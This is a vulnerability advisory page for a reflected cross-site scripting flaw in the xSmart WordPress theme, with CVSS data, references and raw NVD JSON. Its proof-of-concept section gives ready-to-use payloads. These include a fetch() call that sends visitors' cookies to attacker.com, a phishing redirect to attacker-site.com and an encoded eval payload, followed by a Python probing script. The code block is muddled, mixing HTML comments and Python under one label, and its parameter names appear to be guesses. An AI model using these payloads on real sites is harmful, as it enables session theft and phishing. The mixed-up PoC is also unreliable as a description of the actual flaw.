CVE-2025-50006

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jthemes xSmart xsmart allows Reflected XSS.This issue affects xSmart: from n/a through <= 1.2.9.4.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

xSmart Theme <= 1.2.9.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-50006 PoC: Reflected XSS in xSmart Theme -->
<!-- Target: WordPress sites using xSmart theme <= 1.2.9.4 -->
<!-- Attack Type: Reflected XSS -->

<!-- Basic XSS PoC - Cookie Theft -->
https://target-site.com/?s=<script>alert(document.cookie)</script>

<!-- More Obfuscated PoC - Using img onerror -->
https://target-site.com/?s=<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>

<!-- PoC with event handlers -->
https://target-site.com/?s=<svg/onload=eval(atob('YWxlcnQoJ1hTUyBBdHRhY2tlZCcpOw=='))>

<!-- PoC using link tag -->
https://target-site.com/?s=<link rel=import href="data:text/html,<script>alert(document.domain)</script>">

<!-- Real attack scenario: Phishing redirect -->
https://target-site.com/?s=<script>window.location.href='https://attacker-site.com/phishing?ref='+document.cookie</script>

<!-- Python PoC script for testing -->
import requests

target = "http://target-site.com"
payload = "<script>alert('XSS')</script>"
test_urls = [
    f"{target}/?s={payload}",
    f"{target}/?search={payload}",
    f"{target}/?q={payload}",
    f"{target}/?keyword={payload}",
]

for url in test_urls:
    resp = requests.get(url)
    if payload in resp.text:
        print(f"[+] XSS vulnerability confirmed at: {url}")
        break

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-50006
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-50006
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-50006/
[4] VulDB https://vuldb.com/cve/CVE-2025-50006
[5] https://patchstack.com/database/Wordpress/Theme/xsmart/vulnerability/wordpress-xsmart-theme-1-2-9-4-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-50006", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:15:57.140", "lastModified": "2026-04-27T16:16:27.973", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jthemes xSmart xsmart allows Reflected XSS.This issue affects xSmart: from n/a through <= 1.2.9.4."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Jthemes xSmart xsmart permite XSS Reflejado. Este problema afecta a xSmart: desde n/a hasta <= 1.2.9.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/xsmart/vulnerability/wordpress-xsmart-theme-1-2-9-4-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}